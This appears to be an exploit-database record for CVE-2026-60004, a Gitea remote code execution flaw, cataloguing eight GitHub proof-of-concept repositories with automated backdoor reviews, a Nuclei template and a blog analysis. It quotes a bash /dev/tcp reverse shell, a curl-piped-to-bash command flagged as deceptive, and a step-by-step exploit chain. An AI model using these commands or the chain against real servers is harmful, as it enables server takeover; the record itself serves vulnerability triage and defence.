Record summary

EIP currently links 8 repository PoCs and 1 Nuclei template to CVE-2026-60004.

Exploitation context

Available material

Repository PoCs
8
Nuclei templates
1

Proofs of concept

8

Repository PoCs

GitHubHORKimhab/CVE-2026-60004Repository PoCby HORKimhabStars: 4Model review verdict: Suspicious behavior.Exploit6 files

25.2 KiB

GitHub

PoC details
AnalysisSuspicious behaviordeepseek-v4-pro:cloud ·

Technical assessment

A Python script that exploits CVE-2026-60004 in Gitea to achieve remote code execution by delivering a malicious diff patch that installs a post-index-change hook, then fetches the command output via a crafted Git ref.

Backdoor review

Suspicious behavior

The README instructs the operator to run a remote bash script (`curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y`) to 'clear nested dir .git' from other projects. This instruction is materially misrepresented as a routine cleanup step, but it downloads and executes an uninspected remote payload on the operator's machine. The core exploit code itself is a disclosed RCE PoC with no concealed harm.

ClassificationExploit
Model confidence98%
AuthenticationRequired
LanguagesPython
Target softwareGitea
Attack typesRemote Code Execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively exploits a vulnerability by delivering a crafted payload to the target, executing arbitrary commands, and retrieving the output. It is not a scanner (which would only detect) or a writeup (which would only describe).

cve-2026-60004.py:4cve-2026-60004.py:127-163cve-2026-60004.py:296-312cve-2026-60004.py:182-201

Requirements

  • Valid Gitea credentials (username and password) for the target instance.cve-2026-60004.py:275-277
  • Git executable (>= 2.32) available in the system PATH.cve-2026-60004.py:391-394requirements.txt:2
  • Target Gitea version must be vulnerable (not patched >= 1.27.1).cve-2026-60004.py:221-237

Observed behavior

  • Authenticates to the Gitea API using Basic auth.cve-2026-60004.py:94-95cve-2026-60004.py:275-277
  • Creates a private repository on the target Gitea instance.cve-2026-60004.py:286-293
  • Constructs a malicious diff patch containing a post-index-change Git hook that executes an attacker-supplied shell command.cve-2026-60004.py:127-163
  • Delivers the malicious patch to the Gitea diffpatch API endpoint twice to trigger hook installation.cve-2026-60004.py:296-312
  • Fetches the command output from the target repository by cloning a specially crafted ref that contains the hook's output.cve-2026-60004.py:182-201
  • Supports multi-target exploitation from a file and parallel execution using thread pool.cve-2026-60004.py:332-346cve-2026-60004.py:456-461
Safety-review evidence

Behaviors behind the backdoor verdict

Flagged behaviors

Deceptive Remote Execution
  • README line 66 instructs the operator to download and execute a remote bash script via `curl ... | bash`, presented as a routine cleanup step for cloned projects. The script content is not provided, and the instruction is not disclosed as a remote code execution risk to the operator.README.md:66

Observables

Url
https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/rawRemote script downloaded and piped to bash on the operator's machine, presented as a cleanup step.README.md:66
Review boundaries

What the analysis did not establish

  • Evidence includes only 3 of 6 repository files; 3 files are omitted (metadata only).
  • CVE-2026-60004 record was absent from the acquired CVEList V5 dataset.
  • The artifact is not executed; classification is based solely on static analysis of the provided source code.
  • The content of the remote script at the gist URL is not included in the evidence, so its actual behavior is unknown.
  • Three files (total 6) are omitted from the text evidence, but they are reported as non-text or metadata-only and are not required for this finding.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHubEQSTLab/CVE-2026-60004Repository PoCby EQSTLabStars: 1Exploit3 files

8.9 KiB

GitHub

PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a Python script (poc.py) that exploits CVE-2026-60004 in Gitea by sending a crafted patch twice to the diffpatch API, triggering a three-way merge fallback that writes a malicious Git hook to the server's bare repository, resulting in remote code execution via a reverse shell.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence consists of a Dockerfile, README, and Python PoC script for CVE-2026-60004. The PoC script constructs and sends a patch to a Gitea instance to achieve RCE via a reverse shell. All behavior is consistent with the stated exploit goal; no concealed backdoor, deceptive payload, or operator-directed harm beyond the described exploit is observed.

ClassificationExploit
Model confidence100%
AuthenticationRequired
Languagespython
Target softwareGitea
Attack typesremote code executionreverse shell
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively exploits the vulnerability by sending a malicious payload to the target server to achieve remote code execution, as opposed to merely detecting or reporting the vulnerability.

poc.py:1-56README.md:3

Requirements

  • Target Gitea instance must be vulnerable (versions 1.17 through 1.27.0).README.md:21-22
  • Attacker must have write access to a repository on the target Gitea instance (e.g., via open registration).README.md:13README.md:50
  • Attacker must provide valid credentials (username and password) for the target Gitea instance.poc.py:8-9
  • A listener (e.g., netcat) must be running on a host reachable from the Gitea server to receive the reverse shell.README.md:70-72

Observed behavior

  • Constructs a reverse shell command and embeds it in a Git hook script (hooks/post-index-change).poc.py:17-19
  • Generates a Git patch that creates the hook file with executable permissions.poc.py:23-31
  • Sends the same patch twice via HTTP POST to the Gitea diffpatch API endpoint to trigger the vulnerability.poc.py:41-44
  • The second request may time out while the reverse shell is active, which the script treats as a possible success.poc.py:50-53
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell
bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1The PoC script generates a reverse shell command to the attacker-controlled host and port, which is the stated purpose of the exploit.poc.py:17
Base64 Encoding
base64.b64encode(shell.encode()).decode()The reverse shell command is base64-encoded before embedding in the hook, a common technique to avoid shell metacharacter issues, not an attempt at concealment.poc.py:18
Git Hook Installation
hooks/post-index-changeThe patch creates an executable post-index-change hook in the bare repository's working tree, which is the documented RCE mechanism.poc.py:24
Review boundaries

What the analysis did not establish

  • The analysis is based solely on the provided text files; the code was not executed, and its effectiveness or safety is not verified.
  • Only the three text files (Dockerfile, README.md, poc.py) were provided; no other repository content was reviewed.
  • The review does not verify that the PoC works as described or that it is safe to execute in any environment.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHub0xBlackash/CVE-2026-60004Repository PoCby 0xAshweskerStars: 0Exploit2 files

17.4 KiB

GitHub

PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python script that exploits CVE-2026-60004 in Gitea by crafting a malicious diff patch containing a Git hook, submitting it to the /diffpatch API endpoint, and retrieving the executed command output via a smart HTTP fetch.

Backdoor review

No backdoor observed in reviewed code

The PoC is a single Python script that exploits CVE-2026-60004 by sending crafted diff patches to a Gitea instance to install and execute a Git hook. The hook runs the user-supplied shell command and returns the output. No concealed backdoor, unrelated payload, or deceptive behavior was observed. The script's actions are limited to the declared exploit flow: authentication, repository creation, patch submission, and output retrieval.

ClassificationExploit
Model confidence100%
AuthenticationRequired
LanguagesPython
Target softwareGitea
Attack typesRemote Code Execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The Python script actively exploits the vulnerability by crafting and delivering a malicious payload (Git hook) to the target, triggering its execution, and retrieving the results. It does not merely detect or report the vulnerability; it exercises it to achieve remote code execution.

CVE-2026-60004.py:139-163CVE-2026-60004.py:303-312CVE-2026-60004.py:315-323

Requirements

  • Authenticated Gitea user with repository write accessCVE-2026-60004.py:10-11
  • Target Gitea instance must be vulnerable (versions 1.17 to <1.27.1)CVE-2026-60004.py:18
  • Git executable must be available on the attacker's machineCVE-2026-60004.py:251-253

Observed behavior

  • Authenticates to the Gitea instance using provided credentialsCVE-2026-60004.py:276-284
  • Creates a new private repository on the target Gitea instanceCVE-2026-60004.py:287-297
  • Constructs a malicious Git hook (post-index-change) that executes an attacker-supplied shell command and stores the output in a Git objectCVE-2026-60004.py:139-163
  • Generates a diff patch that introduces the malicious hook fileCVE-2026-60004.py:165-175
  • Submits the malicious patch twice to the /diffpatch API endpoint to trigger the vulnerabilityCVE-2026-60004.py:303-312
  • Fetches the command output from the target repository using Git smart HTTP protocolCVE-2026-60004.py:194-214
  • Displays the executed command output and exit status to the attackerCVE-2026-60004.py:315-323
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Mechanism
The script builds a Git hook containing a user-supplied shell command, wraps it in a diff patch, and submits it twice to the /api/v1/repos/{owner}/{repo}/diffpatch endpoint to trigger hook installation and execution.This is the declared exploit behavior for CVE-2026-60004 and matches the vulnerability description.CVE-2026-60004.py:139-163CVE-2026-60004.py:165-175CVE-2026-60004.py:303-311
Output Retrieval
The script fetches command output by cloning the target repository via smart HTTP and reading a blob referenced by a known ref.This is the standard method for retrieving the result of the executed command and is consistent with the exploit's purpose.CVE-2026-60004.py:194-214CVE-2026-60004.py:314-317
Network Communication
The script communicates only with the user-specified Gitea base URL using the Gitea API and smart HTTP protocol.No external or unrelated network endpoints are contacted.CVE-2026-60004.py:87-132CVE-2026-60004.py:196-200
Review boundaries

What the analysis did not establish

  • CVE-2026-60004 record was absent from the acquired CVEList V5 dataset, so CVE metadata could not be independently verified.
  • Only the two text files (Python script and README) were provided; no binary or configuration files were included.
  • The analysis is based solely on static review of the provided source code; the code was not executed, and its behavior was not dynamically verified.
  • Review is limited to the supplied text files; no binary or non-text content was present in the evidence.
  • The script's behavior depends on the Gitea version and configuration; the review does not verify the exploit's effectiveness or safety.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHubimbas007/CVE-2026-60004-POCRepository PoCby imbas007Stars: 12Exploit4 files

52.3 KiB

GitHub

PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a full exploit chain for CVE-2026-60004, a pre-auth remote code execution vulnerability in Gitea. It includes a Python script (cve-2026-60004-poc.py) that registers a user, creates a repository, sends malicious diff patches to trigger a Git hook injection, and retrieves command output. A Nuclei template (CVE-2026-60004.yaml) also performs the full exploit chain. The README documents the exploit and provides usage instructions.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence consists of a Nuclei template, a README, and a Python PoC script for CVE-2026-60004, a Gitea RCE vulnerability. All three files describe and implement the same exploit chain: register a user, create a repo, send a crafted diffpatch to inject a Git hook, and retrieve command output. The Python script uses only standard library modules and performs no unrelated network activity, persistence, credential exfiltration, or concealed payload delivery. The hook payload is generated transparently from the user-supplied --cmd argument. No backdoor or deceptive behavior was observed.

ClassificationExploit
Model confidence98%
AuthenticationNot required
LanguagesPythonYAML
Target softwareGitea
Attack typesRemote Code ExecutionCode Injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The Python script and Nuclei template both contain code that actively exploits the vulnerability by sending malicious patches to achieve remote code execution and retrieve command output. The README describes the exploit chain and provides usage examples for exploitation. This is not merely a scanner or writeup; it is a functional exploit.

cve-2026-60004-poc.py:444-503CVE-2026-60004.yaml:152-195README.md:69-93

Requirements

  • Target Gitea instance must have open registration enabled for full-auto mode, or attacker must have valid credentials for semi-auto/manual modes.cve-2026-60004-poc.py:293-314cve-2026-60004-poc.py:702-704
  • Target Gitea version must be between 1.17 and 1.27.0 (inclusive).CVE-2026-60004.yaml:8-10cve-2026-60004-poc.py:17-18

Observed behavior

  • Registers a new user on the target Gitea instance via the signup page.cve-2026-60004-poc.py:316-352CVE-2026-60004.yaml:91-108
  • Creates a private repository with auto-init on the target instance.cve-2026-60004-poc.py:356-384CVE-2026-60004.yaml:110-126
  • Sends a crafted Git diff patch multiple times to the diffpatch API endpoint to trigger an add/add collision, which writes a malicious post-index-change hook into the bare repository's hooks directory.cve-2026-60004-poc.py:410-503CVE-2026-60004.yaml:152-195
  • The injected hook executes an attacker-supplied command, captures the output, and stores it in a Git blob in the origin repository, creating a new branch named 'rce-proof'.cve-2026-60004-poc.py:122-145CVE-2026-60004.yaml:162
  • Retrieves the command output by fetching the 'proof' file from the 'rce-proof' branch via the raw API endpoint.cve-2026-60004-poc.py:507-544CVE-2026-60004.yaml:197-215
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Chain
User registration, repository creation, diffpatch hook injection, output retrievalThe PoC implements the documented CVE-2026-60004 exploit chain with no hidden steps.cve-2026-60004-poc.py:263-503
Command Execution
User-supplied --cmd argument is placed directly into the hook scriptThe hook payload is built by replacing CMD_PLACEHOLDER with the user's command; no hardcoded malicious command is present.cve-2026-60004-poc.py:122-145
Network Activity
HTTP requests only to the target Gitea instanceAll HTTP requests target the user-specified --url; no external callbacks, beacons, or data exfiltration to third parties.cve-2026-60004-poc.py:171-257
Review boundaries

What the analysis did not establish

  • One file (likely an image) was omitted from the evidence due to being non-text, but it is referenced in the README as a screenshot and is not required for classification.
  • The CVE record for CVE-2026-60004 was absent from the acquired CVEList, so external validation of the vulnerability details is not possible from the provided evidence alone.
  • One file (metadata-only) was omitted from the text evidence; its content is unknown but is not required for the backdoor review of the supplied readable files.
  • The review does not assess whether the exploit works as claimed or whether the target is actually vulnerable.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHubshinthink/CVE-2026-60004Repository PoCby shinthinkStars: 0Exploit6 files

58.6 KiB

GitHub

PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a Python exploit for CVE-2026-60004, a pre-authentication RCE in Gitea/Forgejo. It registers an account, creates a repository, and sends a crafted patch twice to the diffpatch API endpoint to trigger a bare-clone hook injection, resulting in arbitrary command execution. The code includes a built-in callback listener for exfiltration and supports mass scanning.

Backdoor review

No backdoor observed in reviewed code

The PoC is a straightforward exploit for CVE-2026-60004. It registers an account, creates a repo, and sends a crafted patch twice to trigger RCE via a Git hook. The hook script executes a user-supplied command and optionally exfiltrates output to a user-controlled callback URL. All behavior is consistent with the stated vulnerability and under the operator's control; no concealed, unrelated, or operator-independent harmful actions were found.

ClassificationExploit
Model confidence98%
AuthenticationNot required
Languagespython
Target softwareGiteaForgejo
Attack typesremote code executioncode injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The Python script (cve_2026_60004.py) implements a full exploit chain: it registers an account, creates a repo, and sends a malicious patch to achieve remote code execution. The README describes it as a 'Proof of Concept' and the code includes a 'GiteaExploit' class with an 'exploit' method that triggers the vulnerability. This is not merely a scanner or writeup; it actively exploits the vulnerability to execute arbitrary commands.

cve_2026_60004.py:386cve_2026_60004.py:606README.md:166

Requirements

  • Target Gitea/Forgejo instance with open registration (default) and version < 1.27.1README.md:19cve_2026_60004.py:19
  • Git version >= 2.32 on the target server for three-way merge fallbackREADME.md:67cve_2026_60004.py:13

Observed behavior

  • Registers a new user account on the target Gitea/Forgejo instancecve_2026_60004.py:478-524
  • Creates a new private repository via the APIcve_2026_60004.py:558-579
  • Sends a crafted patch containing a post-index-change hook to the diffpatch API endpoint twice to trigger an add/add conflict and execute the hookcve_2026_60004.py:606-692
  • Exfiltrates command output via an HTTP callback to an attacker-controlled servercve_2026_60004.py:285-358
  • Supports mass scanning of multiple targets with configurable threadscve_2026_60004.py:827-940
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Mechanism
Double-patch submission to /api/v1/repos/{owner}/{repo}/diffpatch to trigger add/add conflict and write hooks/post-index-changeThis is the core of the disclosed CVE-2026-60004 vulnerability and is the expected exploit behavior.cve_2026_60004.py:606-692
Payload Generation
build_hook_and_patch() creates a post-index-change hook that executes a user-supplied command and optionally exfiltrates output via HTTP callbackThe hook's actions (command execution, file write, callback) are all controlled by the operator's --command and --callback arguments. No hidden commands or hardcoded exfiltration endpoints exist.cve_2026_60004.py:285-358
Callback Listener
Built-in HTTP server (CallbackListener) receives base64-encoded command output from the targetThis is a standard feature for capturing output from blind RCE exploits. It only listens and decodes data; it does not execute received data or establish persistence on the operator's machine.cve_2026_60004.py:121-212
Review boundaries

What the analysis did not establish

  • Evidence includes only 3 of 6 files; 3 files are omitted (unclassified_bytes: 7018). The omitted files may contain additional context but are not required for classification.
  • The CVE record (CVE-2026-60004) was absent from the acquired CVEList V5 dataset, so no external CVE description is available for corroboration.
  • Three unclassified files (7018 bytes) were present in the repository but not included as text in the evidence packet; their content was not reviewed.
  • The review is limited to the supplied text evidence and does not include dynamic analysis or execution of the code.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHubHackSpeak/CVE-2026-60004Repository PoCby HackSpeakStars: 1Exploit3 files

15.0 KiB

GitHub

PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python script that exploits CVE-2026-60004 in Gitea to achieve remote code execution. It authenticates to a Gitea instance, creates a repository, and sends a crafted diffpatch payload twice to trigger a Git hook execution, then retrieves the command output.

Backdoor review

No backdoor observed in reviewed code

The PoC implements the documented CVE-2026-60004 exploit against Gitea diffpatch. It authenticates, creates a repo, sends a crafted patch twice to trigger a Git hook, and retrieves command output via the same Gitea instance. No concealed backdoor, unrelated payload, or operator-directed harm is present.

ClassificationExploit
Model confidence100%
AuthenticationRequired
LanguagesPython
Target softwareGitea
Attack typesRemote Code Execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact is a fully functional Python script that actively exploits a vulnerability to execute arbitrary shell commands on a remote Gitea server. It performs all steps of the attack chain: authentication, repository creation, payload delivery, and output retrieval. This is consistent with the definition of an exploit.

gitea_diffpatch_rce_poc.py:1-332README.md:3

Requirements

  • Write access to a repository on the target Gitea instance, or the instance must have open registration enabled.README.md:22-23
  • Target server must have Git version 2.32 or higher to enable the -3 three-way merge fallback.README.md:23
  • The diffpatch API endpoint must be available.README.md:24

Observed behavior

  • Authenticates to the Gitea instance using provided credentials.gitea_diffpatch_rce_poc.py:253-260
  • Creates a new private repository on the target instance.gitea_diffpatch_rce_poc.py:266-274
  • Constructs a malicious patch containing a post-index-change Git hook that executes the attacker-supplied shell command and stores the output in a Git object.gitea_diffpatch_rce_poc.py:120-144
  • Sends the malicious patch to the diffpatch endpoint twice to trigger an add/add conflict and force the checkout of the hook file.gitea_diffpatch_rce_poc.py:287-299
  • Fetches the command output from the repository using Git's smart HTTP protocol.gitea_diffpatch_rce_poc.py:175-195
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Behavior
Sends crafted diffpatch payload to trigger post-index-change Git hook on target Gitea serverMatches the described CVE-2026-60004 attack chain; the hook executes the user-supplied command and stores output in the origin repository for retrieval.gitea_diffpatch_rce_poc.py:120-144gitea_diffpatch_rce_poc.py:276-299
Output Retrieval
Fetches command output from the target repository via authenticated Smart HTTPThe PoC retrieves the result of the executed command through the same Gitea instance, consistent with the README claim of in-band output retrieval.gitea_diffpatch_rce_poc.py:175-195gitea_diffpatch_rce_poc.py:301-303
Review boundaries

What the analysis did not establish

  • One file (unclassified, 1066 bytes) was omitted from the evidence and not analyzed.
  • The CVE record for CVE-2026-60004 was absent from the acquired CVEList V5 dataset.
  • One file (LICENSE) was omitted from the text evidence; its content is not reviewed.
  • Binary files were not present in the evidence.
  • The review is limited to the supplied text; no dynamic analysis was performed.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHubSachinart/CVE-2026-60004-gitea-0dayRepository PoCby SachinartStars: 0Exploit2 files

13.3 KiB

GitHub

PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python script that automates exploitation of CVE-2026-60004 in Gitea <= 1.27.0 to achieve pre-auth remote code execution via a diffpatch collision, establishing an interactive shell through the Gitea API.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence consists of a README and a Python PoC script (poc.py) for CVE-2026-60004, a Gitea RCE. The script automates exploitation of the described vulnerability to obtain an interactive shell on a target Gitea instance. All behavior is consistent with the stated exploit purpose: it registers a user, creates a repository, plants a Git hook via a diffpatch collision, and uses the hook to execute attacker-supplied commands and return output through the Gitea API. No concealed, unrelated, or operator-directed harmful behavior (such as credential exfiltration, persistence outside the exploit chain, or unrelated payload delivery) was observed.

ClassificationExploit
Model confidence100%
AuthenticationNot required
LanguagesPython
Target softwareGitea
Attack typesRemote Code Execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact contains a complete, automated Python script (poc.py) that exercises the CVE-2026-60004 vulnerability to achieve remote code execution and provides an interactive shell. The README explicitly describes it as a 'proof-of-concept exploit' and the code performs the full exploitation chain.

README.md:4poc.py:1-8

Requirements

  • Target Gitea instance must have open registration enabled.README.md:21
  • Target must be running Gitea version 1.17 through 1.27.0.README.md:4

Observed behavior

  • Registers a new user account on the target Gitea instance.poc.py:116-133
  • Creates a private repository with auto-initialization.poc.py:135-144
  • Sends a malicious patch to the /diffpatch API endpoint to plant a post-index-change Git hook via an add/add collision.poc.py:163-201
  • Executes arbitrary commands on the server by writing them to a tracked file (cmd.sh) that the hook reads and executes.poc.py:163-201
  • Retrieves command output via the Gitea Raw API endpoint and provides an interactive shell.poc.py:203-231
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Chain
User registration, repository creation, diffpatch collision to plant post-index-change hook, command execution via hook, output retrieval via raw APIThe entire script implements the described CVE-2026-60004 exploit chain. No extraneous or concealed actions are present.poc.py:233-238poc.py:163-201
Hook Payload
Shell script that reads cmd.sh from the Git index, executes it, and writes output to a blob in the origin repositoryThe hook payload is the core of the exploit. It executes attacker commands and returns output, matching the described RCE mechanism.poc.py:23-45
Command Execution
eval "$cmd"The hook executes the content of cmd.sh, which is set by the attacker via the diffpatch API. This is the intended RCE primitive.poc.py:36
Output Retrieval
GET /api/v1/repos/{user}/{repo}/raw/proof?ref=rce-proofThe script retrieves command output through the Gitea raw API, consistent with the documented API-driven shell approach.poc.py:197-198
Review boundaries

What the analysis did not establish

  • Only the two text files (README.md and poc.py) were provided and reviewed. No binary files or external dependencies were present in the evidence.
  • The review does not assess whether the exploit works as claimed or whether the target vulnerability exists.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHubgagaltotal/CVE-2026-60004-poc-giteaRepository PoCby gagaltotalStars: 2Exploit5 files

1.3 MiB

GitHub

PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Go program that exploits CVE-2026-60004, an authenticated or pre-auth RCE in Gitea, by injecting a malicious hook via the diffpatch API endpoint and optionally retrieving command output.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence consists of a README and a single Go source file implementing a proof-of-concept exploit for CVE-2026-60004, a Gitea RCE vulnerability. The code performs the documented exploitation steps (detection, registration, repository creation, diffpatch delivery, and output retrieval) and contains no concealed, deceptive, or unrelated harmful behavior. All functionality is consistent with the stated purpose of demonstrating the vulnerability.

ClassificationExploit
Model confidence98%
AuthenticationRequired
LanguagesGo
Target softwareGitea
Attack typesremote code executioncommand injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The primary artifact is a Go program that actively delivers a malicious payload to a remote Gitea instance to achieve remote code execution. The code constructs a diff patch containing a shell script, sends it to the diffpatch API endpoint, and retrieves the output of the executed command. This constitutes an exploit, not merely a scanner or writeup, as it performs the full exploitation chain including payload delivery and output retrieval.

cve-2026-60004-poc.go:707-759cve-2026-60004-poc.go:761-801README.md:5

Requirements

  • Target Gitea instance with open registration (for full-auto mode) or valid credentials (for semi-auto/manual modes).cve-2026-60004-poc.go:1040-1052cve-2026-60004-poc.go:1061-1072
  • Target must have the diffpatch API endpoint accessible and be running a vulnerable Gitea version (1.17–1.27.0).cve-2026-60004-poc.go:35-36cve-2026-60004-poc.go:1007-1008

Observed behavior

  • Registers a new user on the target Gitea instance when open registration is enabled.cve-2026-60004-poc.go:464-547
  • Creates a new repository under the authenticated user.cve-2026-60004-poc.go:549-618
  • Constructs a malicious diff patch containing a shell script hook that executes an arbitrary command and stores the output in a Git object.cve-2026-60004-poc.go:65-102
  • Sends the malicious diff patch to the /api/v1/repos/:owner/:repo/diffpatch endpoint to inject the hook.cve-2026-60004-poc.go:669-705
  • Retrieves the command output by fetching the raw 'proof' file from the rce-proof ref.cve-2026-60004-poc.go:761-801
  • Includes a non-intrusive check mode that detects Gitea, checks version, and probes the diffpatch endpoint without exploitation.cve-2026-60004-poc.go:986-1034
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Insecure Tls Configuration
InsecureSkipVerify: trueThe HTTP client disables TLS certificate verification, which is a security weakness but is explicitly documented in the README as intentional for testing compatibility. It does not constitute a backdoor.cve-2026-60004-poc.go:128-130README.md:102
Default Command
cat /etc/passwdThe default command executed on the target reads /etc/passwd, a common proof-of-concept action for RCE exploits. It is user-configurable and not hidden.cve-2026-60004-poc.go:878
Review boundaries

What the analysis did not establish

  • Evidence includes only two text files (README.md and cve-2026-60004-poc.go); three additional files (backup.txt, two images) are omitted or flagged as non-text media, but the main exploit logic is fully present.
  • CVE-2026-60004 record was absent from the acquired CVEList V5 dataset, so no external CVE description is available for cross-reference.
  • Three files from the repository (backup.txt, and two image files) were not included in the text evidence. The inventory describes them as notes and supporting images, but their content was not reviewed.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Nuclei templates

1
ProjectDiscoveryCRITICALGitea <= 1.27.0 - Pre-Auth Remote Code ExecutionCVSS 9.8

Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.

Impact

Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.

Remediation

Update to Gitea version 1.27.1 or later.

WeaknessesCWE-94
Authors0x_Akoko
Template tagscvecve2026gitearceintrusive
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Shodan: Gitea
FOFA: app="Gitea"

Source: ProjectDiscovery

Research & analysis

1
Technical blogHalil DenizSource: EIP research review

CVE-2026-60004: Gitea Pre-Auth Remote Code Execution Analysis

Halil Deniz provides a detailed technical analysis of CVE-2026-60004 (CVSS 9.8), a critical remote code execution vulnerability in Gitea versions 1.17.0 through 1.27.0. The flaw exists in the repository patch parsing mechanism exposed via the REST API endpoint POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea initializes temporary repositories as bare repositories (git init --bare), where $GIT_DIR coincides with the working root. When git apply encounters merge collisions and triggers a three-way merge fallback (Git >= 2.32), it writes intermediate file blobs to disk using paths relative to the repository root. An attacker can craft patch paths to write a malicious script into hooks/post-index-change, which Git automatically executes on the next index-modifying operation. Default open registration (DISABLE_REGISTRATION=false) makes this a practical pre-auth RCE vector. Fixed in Gitea 1.27.1. The analysis includes code snippets, the full exploit chain, and remediation guidance.

Root causeExploit chainTechnical detail
https://denizhalil.com/2026/08/05/cve-2026-60004-gitea-pre-auth-rce-analysis
Research notes
  • Root cause
    Gitea initializes temporary patch-application repositories as bare repositories (git init --bare), where $GIT_DIR coincides with the working root. When git apply triggers a three-way merge fallback on patch conflicts, it writes intermediate file blobs to disk using paths relative to the repository root, allowing an attacker to inject a malicious script into hooks/post-index-change.
  • Exploit chain
    The attack chain: (1) register an account via default open registration, (2) create a repository to gain write access, (3) send a crafted diff patch to POST /api/v1/repos/{owner}/{repo}/diffpatch that triggers a three-way merge fallback, (4) the fallback writes a malicious script to hooks/post-index-change in the bare temporary repository, (5) the next Git index operation automatically executes the hook, achieving RCE.
  • Technical detail
    The vulnerability is a practical pre-auth RCE because default Gitea installations leave public account creation open (DISABLE_REGISTRATION=false), allowing an unauthenticated attacker to register, create a repository, and exploit the patch-handling flaw without any administrator approval.